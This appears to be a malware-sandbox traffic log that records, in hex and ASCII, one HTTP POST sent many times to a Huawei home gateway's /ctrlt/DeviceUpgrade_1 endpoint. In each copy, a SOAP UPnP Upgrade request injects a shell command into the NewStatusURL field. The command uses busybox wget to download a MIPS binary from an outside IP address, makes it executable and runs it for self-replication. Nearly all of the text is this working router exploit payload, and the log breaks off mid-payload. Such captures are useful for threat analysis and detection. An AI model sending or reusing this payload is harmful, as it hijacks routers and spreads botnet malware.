4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 